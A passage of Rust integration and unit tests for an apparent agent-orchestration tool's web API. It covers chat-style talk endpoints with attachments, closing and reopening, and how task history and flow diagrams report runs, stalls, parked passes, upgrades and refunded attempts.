13078 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
13079
13080 let res = f
13081 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
13082 .await;
13083 assert_eq!(res.status, 404, "{}", res.body);
13084 }
13085
13086 #[tokio::test]
13087 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
13088 let f = Fixture::start().await;
13089 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
13090
13091 let uploaded = f
13092 .post_bytes(
13093 &format!("/api/talks/{id}/attachments"),
13094 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
13095 PNG_BYTES,
13096 )
13097 .await;
13098 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
13099 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
13100
13101 let res = f
13102 .post(
13103 &format!("/api/talks/{id}/say"),
13104 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
13105 )
13106 .await;
13107 assert_eq!(res.status, 202, "{}", res.body);
13108 let queued = res.json();
13109 let turns = queued["turns"].as_array().expect("turns array");
13110 assert_eq!(
13111 turns.len(),
13112 1,
13113 "an empty body with an attachment is still a turn: {queued}"
13114 );
13115 assert_eq!(turns[0]["who"], "operator");
13116 assert_eq!(turns[0]["body"], "");
13117 let atts = turns[0]["attachments"]
13118 .as_array()
13119 .expect("attachments array");
13120 assert_eq!(atts.len(), 1);
13121 assert_eq!(atts[0]["id"], att_id);
13122 assert_eq!(atts[0]["mime"], "image/png");
13123
13124 let on_disk = f.talks().get(&id).expect("get");
13127 assert_eq!(on_disk.turns[0].attachments.len(), 1);
13128 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
13129 }
13130
13131 #[tokio::test]
13132 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
13133 let f = Fixture::start().await;
13134 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
13135
13136 let res = f
13137 .post(
13138 &format!("/api/talks/{id}/say"),
13139 Some(&format!(
13140 r#"{{"text":"hi","attachments":["{}"]}}"#,
13141 "a".repeat(32)
13142 )),
13143 )
13144 .await;
13145 assert!((400..500).contains(&res.status), "{}", res.body);
13146 assert!(res.body.contains("unknown attachment"), "{}", res.body);
13147
13148 let on_disk = f.talks().get(&id).expect("get");
13149 assert!(
13150 on_disk.turns.is_empty(),
13151 "a rejected attachment id must not partially record the turn: {:?}",
13152 on_disk.turns
13153 );
13154 }
13155
13156 #[tokio::test]
13157 async fn talk_close_makes_the_talk_refuse_further_turns() {
13158 let f = Fixture::start().await;
13159 let id = seed_talk(&f, "20260904-014455-cd34", "open");
13160
13161 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
13162 assert_eq!(closed.status, 200, "{}", closed.body);
13163 assert_eq!(closed.json()["status"], "closed");
13164
13165 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
13167 assert_eq!(closed_again.status, 200);
13168 assert_eq!(closed_again.json()["status"], "closed");
13169
13170 let said = f
13171 .post(
13172 &format!("/api/talks/{id}/say"),
13173 Some(r#"{"text":"too late"}"#),
13174 )
13175 .await;
13176 assert_eq!(said.status, 409, "{}", said.body);
13177 }
13178
13179 #[tokio::test]
13180 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
13181 let (_tmp, _repo, f) = talk_fixture().await;
13182 let id = f.post("/api/talks", None).await.json()["id"]
13183 .as_str()
13184 .expect("id")
13185 .to_owned();
13186 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
13187 assert_eq!(closed.status, 200, "{}", closed.body);
13188
13189 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
13190 assert_eq!(reopened.status, 200, "{}", reopened.body);
13191 assert_eq!(reopened.json()["status"], "open");
13192
13193 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
13195 assert_eq!(reopened_again.status, 200);
13196 assert_eq!(reopened_again.json()["status"], "open");
13197
13198 let said = f
13199 .post(
13200 &format!("/api/talks/{id}/say"),
13201 Some(r#"{"text":"still there?"}"#),
13202 )
13203 .await;
13204 assert_eq!(
13205 said.status, 202,
13206 "a reopened talk accepts turns again: {}",
13207 said.body
13208 );
13209 }
13210
13211 #[tokio::test]
13212 async fn talk_reopen_on_an_unknown_id_is_404() {
13213 let f = Fixture::start().await;
13214 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
13215 assert_eq!(res.status, 404, "{}", res.body);
13216 }
13217
13218 #[tokio::test]
13219 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
13220 let f = Fixture::start().await;
13221 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
13222
13223 let deleted = f.delete(&format!("/api/talks/{id}")).await;
13224 assert_eq!(deleted.status, 204, "{}", deleted.body);
13225
13226 let after = f.get(&format!("/api/talks/{id}")).await;
13227 assert_eq!(after.status, 404, "{}", after.body);
13228
13229 let listed = f.get("/api/talks").await.json();
13230 assert!(
13231 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
13232 "a deleted talk must not linger in the list: {listed}"
13233 );
13234 }
13235
13236 #[tokio::test]
13237 async fn talk_delete_on_an_unknown_id_is_404() {
13238 let f = Fixture::start().await;
13239 let res = f.delete("/api/talks/nonexistent-id").await;
13240 assert_eq!(res.status, 404, "{}", res.body);
13241 }
13242
13243 #[tokio::test]
13247 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
13248 let f = Fixture::start().await;
13249 let (a, b, gone) = (
13250 "20260902-140501-aaaa",
13251 "20260902-140502-bbbb",
13252 "20260902-140503-cccc",
13253 );
13254 write_run(&f.runs(), a, RunStatus::Stalled);
13255 let mut review = RunState::new(
13256 PathBuf::from("/repo/magi"),
13257 "main".to_owned(),
13258 "0123456789abcdef".to_owned(),
13259 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
13260 .to_owned(),
13261 Config::default(),
13262 );
13263 review.id = b.to_owned();
13264 review.status = RunStatus::Merged;
13265 write_state(&f.runs(), &review);
13266
13267 let mut task = Task::new(
13268 "retry".to_owned(),
13269 "Do the thing".to_owned(),
13270 PathBuf::from("/repo/magi"),
13271 Source::Human,
13272 );
13273 task.start(a.to_owned());
13274 task.stall("quota");
13275 task.start(a.to_owned());
13276 task.start(b.to_owned());
13277 task.start(gone.to_owned());
13278 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
13280 f.queue().put(&mut task).expect("file the task");
13281
13282 let res = f.get(&format!("/api/queue/{}", task.id)).await;
13283 assert_eq!(res.status, 200, "{}", res.body);
13284 let v = res.json();
13285 let h = v["history"].as_array().expect("history");
13286 assert_eq!(h.len(), 4, "{v}");
13287 assert_eq!(h[0]["kind"], "competition");
13288 assert_eq!(h[0]["status"], "stalled");
13289 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
13290 assert_eq!(h[1]["kind"], "resume", "{v}");
13291 assert!(
13292 h[0]["outcome"]
13293 .as_str()
13294 .unwrap()
13295 .contains("unknown. Pass #2"),
13296 "an earlier pass of a resumed run must not claim the final outcome: {v}"
13297 );
13298 assert!(
13299 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
13300 "{v}"
13301 );
13302 assert!(
13303 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
13304 "an unrecorded cause must not be narrated as an operator park: {v}"
13305 );
13306 assert_eq!(h[2]["kind"], "review");
13307 assert!(
13308 h[2]["description"]
13309 .as_str()
13310 .unwrap()
13311 .contains("magi/aaaa/A")
13312 );
13313 assert_eq!(h[2]["status"], "merged");
13314 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
13315 assert_eq!(v["runs_unreadable"], 1);
13316 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
13317 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
13318 assert_eq!(nodes[4]["note"], "unreadable");
13319 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
13320 assert_eq!(v["instruction"], "Do the thing");
13321 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
13322
13323 let run = f.get(&format!("/api/runs/{a}")).await.json();
13325 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
13326
13327 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
13328 }
13329
13330 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
13331 let mut s = RunState::new(
13332 PathBuf::from("/repo/magi"),
13333 "main".to_owned(),
13334 "0123456789abcdef".to_owned(),
13335 "Do it".to_owned(),
13336 Config::default(),
13337 );
13338 s.status = status;
13339 edit(&mut s);
13340 s
13341 }
13342
13343 fn flow_task(runs: &[&str]) -> Task {
13344 let mut t = Task::new(
13345 "t".to_owned(),
13346 "Do it".to_owned(),
13347 PathBuf::from("/repo/magi"),
13348 Source::Human,
13349 );
13350 for r in runs {
13351 t.start((*r).to_owned());
13352 }
13353 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
13355 t
13356 }
13357
13358 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
13359 let h = task_history(task, |id| {
13360 states
13361 .iter()
13362 .find(|(i, _)| *i == id)
13363 .and_then(|(_, s)| s.clone())
13364 });
13365 task_flow(task, &h, 5, None)
13366 }
13367
13368 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
13369 crate::queue::FollowUp {
13370 run: "20260901-000000-aaaa".to_owned(),
13371 origin_task: origin_task.map(str::to_owned),
13372 pr: "https://example.com/o/r/pull/1".to_owned(),
13373 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
13374 .map(str::to_owned)
13375 .to_vec(),
13376 generation: 1,
13377 }
13378 }
13379
13380 fn parent_task() -> Task {
13381 let mut p = flow_task(&[]);
13382 p.title = "Parent title".to_owned();
13383 p.status = TaskStatus::Done;
13384 p
13385 }
13386
13387 #[test]
13388 fn flow_opens_with_the_parent_task_of_a_followup() {
13389 let p = parent_task();
13390 let pid = p.id.clone();
13391 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
13392 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
13393 let n = &f.nodes[0];
13394 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
13395 assert_eq!(
13396 n.label,
13397 format!("Follow-up of {}", crate::queue::short(&pid))
13398 );
13399 assert_eq!(n.detail.as_deref(), Some("Parent title"));
13400 assert_eq!(n.status, Some("done"));
13401 assert_eq!(n.status_of, "task");
13402 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
13403 assert_eq!(f.nodes[1].key, "start");
13404 assert_eq!(f.edges[0].from, "origin");
13405 assert_eq!(
13406 f.edges[0].label,
13407 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
13408 );
13409 }
13410
13411 #[test]
13412 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
13413 let o = followup_origin(
13414 &fu(Some("gone")),
13415 |_| None,
13416 |_| {
13417 Some(RunState::new(
13418 std::path::PathBuf::from("."),
13419 "main".to_owned(),
13420 "0".to_owned(),
13421 "t".to_owned(),
13422 crate::config::Config::default(),
13423 ))
13424 },
13425 );
13426 assert!(o.parent.is_none());
13427 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
13428 let n = &f.nodes[0];
13429 assert_eq!(n.status_of, "run");
13430 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
13431 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
13432 }
13433
13434 #[test]
13435 fn flow_followup_with_nothing_readable_has_no_link() {
13436 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
13437 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
13438 let n = &f.nodes[0];
13439 assert_eq!(n.href, None);
13440 assert_eq!(n.note, Some("unreadable"));
13441 assert!(!n.readable);
13442 }
13443
13444 #[test]
13445 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
13446 let o = followup_origin(&fu(None), |_| None, |_| None);
13447 let mut t = flow_task(&[]);
13448 t.origin_chat = Some("c1".to_owned());
13449 let f = task_flow(&t, &[], 5, Some(&o));
13450 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
13451 t.source = Source::Agent {
13452 run: "c1".to_owned(),
13453 node: crate::queue::CHAT_NODE.to_owned(),
13454 };
13455 let f = task_flow(&t, &[], 5, Some(&o));
13456 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
13457 assert_eq!(
13458 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
13459 ("chat", "origin")
13460 );
13461 }
13462
13463 #[test]
13464 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
13465 let mut p = parent_task();
13466 p.id = "a b/c".to_owned();
13467 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
13468 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
13469 }
13470
13471 #[test]
13472 fn flow_opens_with_the_chat_that_queued_the_task() {
13473 let mut t = flow_task(&[]);
13474 t.source = Source::Agent {
13475 run: "a b/c".to_owned(),
13476 node: crate::queue::CHAT_NODE.to_owned(),
13477 };
13478 let f = flow_for(&t, &[]);
13479 assert_eq!(f.nodes[0].key, "chat");
13480 assert_eq!(f.nodes[0].kind, "chat");
13481 assert_eq!(
13482 f.nodes[0].label,
13483 format!("Chat {}", crate::queue::short("a b/c"))
13484 );
13485 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
13486 assert_eq!(f.nodes[1].key, "start");
13487 assert_eq!(
13488 f.edges[0],
13489 FlowEdge {
13490 from: "chat".to_owned(),
13491 to: "start".to_owned(),
13492 label: "queued from chat".to_owned(),
13493 attempt: AttemptCost::None,
13494 }
13495 );
13496 }
13497
13498 #[test]
13499 fn flow_has_no_chat_box_for_other_sources() {
13500 for source in [
13501 Source::Human,
13502 Source::Issue {
13503 number: 3,
13504 repo: "o/r".to_owned(),
13505 },
13506 Source::Agent {
13507 run: "20260904-014455-ab12".to_owned(),
13508 node: "implement".to_owned(),
13509 },
13510 ] {
13511 let mut t = flow_task(&[]);
13512 t.source = source;
13513 let f = flow_for(&t, &[]);
13514 assert_eq!(f.nodes[0].key, "start");
13515 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
13516 assert!(f.edges.iter().all(|e| e.from != "chat"));
13517 }
13518 }
13519
13520 const FA: &str = "20260902-140501-aaaa";
13521 const FB: &str = "20260902-140502-bbbb";
13522
13523 #[test]
13524 fn flow_follows_blocked_retry_merged_to_done() {
13525 let mut t = flow_task(&[FA, FB]);
13526 t.status = TaskStatus::Done;
13527 let f = flow_for(
13528 &t,
13529 &[
13530 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
13531 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
13532 ],
13533 );
13534 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
13535 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
13536 assert_eq!(f.edges.len(), 3);
13537 assert_eq!(f.edges[0].label, "claimed");
13538 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
13539 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
13540 assert_eq!(f.edges[2].label, "merged \u{2192} done");
13541 assert_eq!(
13542 f.nodes[2].href.as_deref(),
13543 Some("#/runs/20260902-140502-bbbb")
13544 );
13545 assert!(f.nodes[2].decided);
13546 }
13547
13548 #[test]
13549 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
13550 let quota = || {
13551 flow_run(RunStatus::Stalled, |s| {
13552 s.quota.push(crate::run::QuotaLoss {
13553 seat: "judge-1".to_owned(),
13554 node: "judge".to_owned(),
13555 at: Timestamp::now(),
13556 reset: None,
13557 })
13558 })
13559 };
13560 let mut t = flow_task(&[FA, FA]);
13561 t.status = TaskStatus::Queued;
13562 let f = flow_for(&t, &[(FA, Some(quota()))]);
13563 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
13564 assert_eq!(f.nodes[1].note, Some("interrupted"));
13565 assert_eq!(
13566 f.nodes[1].status, None,
13567 "no outcome copied onto an earlier pass"
13568 );
13569 assert_eq!(
13570 f.edges[1].attempt,
13571 AttemptCost::Unknown,
13572 "a resume does not prove the earlier pass was refunded"
13573 );
13574 assert!(f.edges[1].label.contains("resume the same run"));
13575 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
13576 assert_eq!(
13577 f.edges[2].label,
13578 "stalled after a resume, refund unknown \u{2192} queued"
13579 );
13580 assert!(!f.nodes[2].decided, "a stall is not a decision");
13581 assert_eq!(f.nodes[2].note, Some("no verdict"));
13582 }
13583
13584 #[test]
13585 fn flow_single_pass_quota_stall_is_refunded() {
13586 let t = flow_task(&[FA]);
13587 let f = flow_for(
13588 &t,
13589 &[(
13590 FA,
13591 Some(flow_run(RunStatus::Stalled, |s| {
13592 s.quota.push(crate::run::QuotaLoss {
13593 seat: "judge-1".to_owned(),
13594 node: "judge".to_owned(),
13595 at: Timestamp::now(),
13596 reset: None,
13597 })
13598 })),
13599 )],
13600 );
13601 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
13602 }
13603
13604 #[test]
13605 fn flow_parked_refunds_and_stall_without_quota_spends() {
13606 let mut t = flow_task(&[FA]);
13607 t.status = TaskStatus::Queued;
13608 let f = flow_for(
13609 &t,
13610 &[(
13611 FA,
13612 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
13613 )],
13614 );
13615 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
13616 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
13617 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
13618 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
13619 assert!(!f.nodes[1].decided);
13620 }
13621
13622 #[test]
13623 fn flow_keeps_an_unreadable_run_as_its_own_node() {
13624 let t = flow_task(&[FA, FB]);
13625 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
13626 assert_eq!(f.nodes[1].note, Some("unreadable"));
13627 assert!(!f.nodes[1].readable);
13628 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
13629 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
13630 }
13631
13632 #[test]
13633 fn flow_names_the_branch_of_a_review_only_run() {
13634 let t = flow_task(&[FA]);
13635 let f = flow_for(
13636 &t,
13637 &[(
13638 FA,
13639 Some(flow_run(RunStatus::Merged, |s| {
13640 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
13641 })),
13642 )],
13643 );
13644 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
13645 assert_eq!(
13646 f.nodes[1].detail.as_deref(),
13647 Some("review-only run of branch magi/x/A")
13648 );
13649 }
13650
13651 #[test]
13652 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
13653 let mut t = flow_task(&[FA]);
13654 t.status = TaskStatus::Held;
13655 let pr = crate::run::PrRecord {
13656 url: "https://example.test/pr/1".to_owned(),
13657 number: 1,
13658 state: "open".to_owned(),
13659 checks: "green".to_owned(),
13660 round: 0,
13661 rounds: 3,
13662 red_at_merge: Vec::new(),
13663 };
13664 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
13665 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
13666 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
13667 t.status = TaskStatus::Done;
13668 let f = flow_for(&t, &[(FA, Some(blocked))]);
13669 assert_eq!(f.edges[1].label, "closed by hand: task is done");
13670 }
13671
13672 #[test]
13673 fn flow_with_no_runs_goes_from_queued_to_queued() {
13674 let t = flow_task(&[]);
13675 let f = flow_for(&t, &[]);
13676 assert_eq!(f.nodes.len(), 2);
13677 assert_eq!(f.edges.len(), 1);
13678 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
13679 assert_eq!(f.edges[0].attempt, AttemptCost::None);
13680 }
13681
13682 #[test]
13685 fn a_parked_non_terminal_run_is_explained_as_parked() {
13686 let mut s = RunState::new(
13687 PathBuf::from("/repo/magi"),
13688 "main".to_owned(),
13689 "0123456789abcdef".to_owned(),
13690 "Do it".to_owned(),
13691 Config::default(),
13692 );
13693 s.status = RunStatus::Implementing;
13694 s.parked = true;
13695 let task = Task::new(
13696 "t".to_owned(),
13697 "Do it".to_owned(),
13698 PathBuf::from("/repo/magi"),
13699 Source::Human,
13700 );
13701 let v = task_run_view(
13702 "20260902-140501-aaaa",
13703 Some(&s),
13704 RunSlot {
13705 n: 1,
13706 resumed: false,
13707 resumed_later: None,
13708 prior: None,
13709 last: true,
13710 ..RunSlot::default()
13711 },
13712 &task,
13713 );
13714 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
13715 }
13716
13717 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
13718 let mut s = flow_run(RunStatus::Implementing, edit);
13719 s.parked = false;
13720 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
13721 task_run_view(
13722 "20260902-140501-aaaa",
13723 Some(&s),
13724 RunSlot {
13725 n: 1,
13726 resumed: false,
13727 resumed_later: Some(2),
13728 prior: None,
13729 last: false,
13730 ..RunSlot::default()
13731 },
13732 &task,
13733 )
13734 }
13735
13736 #[test]
13737 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
13738 let v = earlier_pass_view(|_| {});
13739 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
13740 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
13741 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
13742 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
13743 assert_eq!(v.exit, RunExit::Interrupted);
13744 assert_eq!(v.attempt, AttemptCost::Unknown);
13745 }
13746
13747 #[test]
13748 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
13749 let v = earlier_pass_view(|s| {
13750 s.quota.push(crate::run::QuotaLoss {
13751 seat: "judge-1".to_owned(),
13752 node: "judge".to_owned(),
13753 at: Timestamp::now(),
13754 reset: None,
13755 });
13756 });
13757 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
13758 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
13759 assert_eq!(v.attempt, AttemptCost::Unknown);
13760 }
13761
13762 #[test]
13763 fn the_current_pass_states_its_recorded_cause_and_cost() {
13764 let slot = || RunSlot {
13765 n: 1,
13766 resumed: false,
13767 resumed_later: None,
13768 prior: None,
13769 last: true,
13770 ..RunSlot::default()
13771 };
13772 let task = flow_task(&["20260902-140501-aaaa"]);
13773 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
13774 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
13775 assert_eq!(
13776 (v.exit, v.attempt),
13777 (RunExit::Parked, AttemptCost::Refunded)
13778 );
13779 let spent = flow_run(RunStatus::Blocked, |_| {});
13780 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
13781 assert_eq!(v.attempt, AttemptCost::Spent);
13782 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
13783 }
13784
13785 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
13786 crate::run::RunPass {
13787 index,
13788 started_at: Timestamp::now(),
13789 resumed: index > 0,
13790 ended_at: end.as_ref().map(|_| Timestamp::now()),
13791 end,
13792 task_entry: true,
13793 }
13794 }
13795
13796 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
13797 Some(crate::run::PassEnd::Parked { cause })
13798 }
13799
13800 fn upgrade_cause() -> crate::run::ParkCause {
13801 crate::run::ParkCause::Upgrade {
13802 from: "0.121.0".to_owned(),
13803 to: Some("0.121.1".to_owned()),
13804 }
13805 }
13806
13807 fn settled_pass(
13808 run: &str,
13809 index: usize,
13810 cost: crate::queue::PassCost,
13811 ) -> crate::queue::TaskPass {
13812 crate::queue::TaskPass {
13813 run: run.to_owned(),
13814 pass_index: index,
13815 cost,
13816 attempts_after: 1,
13817 settled_at: Timestamp::now(),
13818 parked: None,
13819 }
13820 }
13821
13822 const RUN_X: &str = "20261011-223708-4334";
13823
13824 #[test]
13825 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
13826 use crate::queue::PassCost;
13827 let run = flow_run(RunStatus::Implementing, |s| {
13828 s.passes = vec![
13829 recorded_pass(0, parked(upgrade_cause())),
13830 recorded_pass(1, None),
13831 ];
13832 });
13833 let mut task = flow_task(&[RUN_X, RUN_X]);
13834 task.attempts = 1;
13835 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
13836 let h = task_history(&task, |_| Some(run.clone()));
13837 assert_eq!(h.len(), 2);
13838 assert_eq!(h[0].kind, "competition");
13839 assert_eq!(h[1].kind, "resume");
13840 assert_eq!(
13841 (h[0].exit, h[0].attempt),
13842 (RunExit::Parked, AttemptCost::Refunded)
13843 );
13844 assert!(
13845 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
13846 "{}",
13847 h[0].outcome
13848 );
13849 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
13850 assert!(
13851 h[0].outcome.contains("pass #2 resumed the same run"),
13852 "{}",
13853 h[0].outcome
13854 );
13855 assert!(
13856 h[0].outcome.contains("pass 1 of 2 over run"),
13857 "{}",
13858 h[0].outcome
13859 );
13860 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
13861 assert_eq!(
13862 h[0].exit_label,
13863 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
13864 );
13865 let f = task_flow(&task, &h, 2, None);
13866 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
13868 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
13869 assert!(
13870 f.edges[1].label.contains("upgrade 0.121.0"),
13871 "{}",
13872 f.edges[1].label
13873 );
13874 assert!(
13875 f.edges[1].label.contains("resume the same run"),
13876 "{}",
13877 f.edges[1].label
13878 );
13879 assert_eq!(f.nodes[1].note, Some("parked"));
13880 }
13881
13882 #[test]
13883 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
13884 let mut a = flow_run(RunStatus::Implementing, |s| {
13885 s.passes = vec![
13886 recorded_pass(0, parked(upgrade_cause())),
13887 recorded_pass(1, None),
13888 ];
13889 });
13890 let mut b = flow_run(RunStatus::Failed, |s| {
13891 s.passes = vec![recorded_pass(0, None)];
13892 });
13893 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
13894 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
13895 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
13896 let mut task = flow_task(&[]);
13897 task.start("a".into());
13898 task.start("b".into());
13899 task.start("a".into());
13900 assert_eq!(task.runs, ["b", "a"]);
13901 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
13902 let h = task_history(&task, |id| {
13903 Some(if id == "a" { a.clone() } else { b.clone() })
13904 });
13905 assert_eq!(
13906 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
13907 ["a", "b", "a"]
13908 );
13909 assert_eq!(h[0].attempt, AttemptCost::Refunded);
13910 assert!(h[0].outcome.contains("upgrade"));
13911 assert_eq!(h[2].kind, "resume");
13912 assert!(h[2].pass.is_some());
13913 task.runs = vec!["a".into(), "b".into(), "a".into()];
13915 let old = task_history(&task, |id| {
13916 Some(if id == "a" { a.clone() } else { b.clone() })
13917 });
13918 assert_eq!(
13919 old.iter()
13920 .map(|v| (&v.id, &v.kind, v.attempt))
13921 .collect::<Vec<_>>(),
13922 h.iter()
13923 .map(|v| (&v.id, &v.kind, v.attempt))
13924 .collect::<Vec<_>>()
13925 );
13926 }
13927
13928 #[test]
13929 fn an_upgrade_whose_target_was_not_known_says_so() {
13930 let run = flow_run(RunStatus::Implementing, |s| {
13931 s.passes = vec![
13932 recorded_pass(
13933 0,
13934 parked(crate::run::ParkCause::Upgrade {
13935 from: "0.121.0".to_owned(),
13936 to: None,
13937 }),
13938 ),
13939 recorded_pass(1, None),
13940 ];
13941 });
13942 let task = flow_task(&[RUN_X, RUN_X]);
13943 let h = task_history(&task, |_| Some(run.clone()));
13944 assert!(
13945 h[0].outcome.contains("upgrade from 0.121.0"),
13946 "{}",
13947 h[0].outcome
13948 );
13949 assert_eq!(h[0].attempt, AttemptCost::Unknown);
13951 }
13952
13953 #[test]
13954 fn each_pass_keeps_its_own_cause_across_several_resumes() {
13955 use crate::queue::PassCost;
13956 use crate::run::ParkCause;
13957 let run = flow_run(RunStatus::Implementing, |s| {
13958 s.passes = vec![
13959 recorded_pass(0, parked(upgrade_cause())),
13960 recorded_pass(
13961 1,
13962 parked(ParkCause::Interrupt {
13963 reason: "task a1b2 asked to run first".to_owned(),
13964 }),
13965 ),
13966 recorded_pass(2, parked(ParkCause::Operator)),
13967 recorded_pass(3, None),
13968 ];
13969 });
13970 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
13971 task.attempts = 1;
13972 task.passes = (0..3)
13973 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
13974 .collect();
13975 let h = task_history(&task, |_| Some(run.clone()));
13976 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
13977 assert!(
13978 h[1].outcome.contains("task a1b2 asked to run first"),
13979 "{}",
13980 h[1].outcome
13981 );
13982 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
13983 assert!(
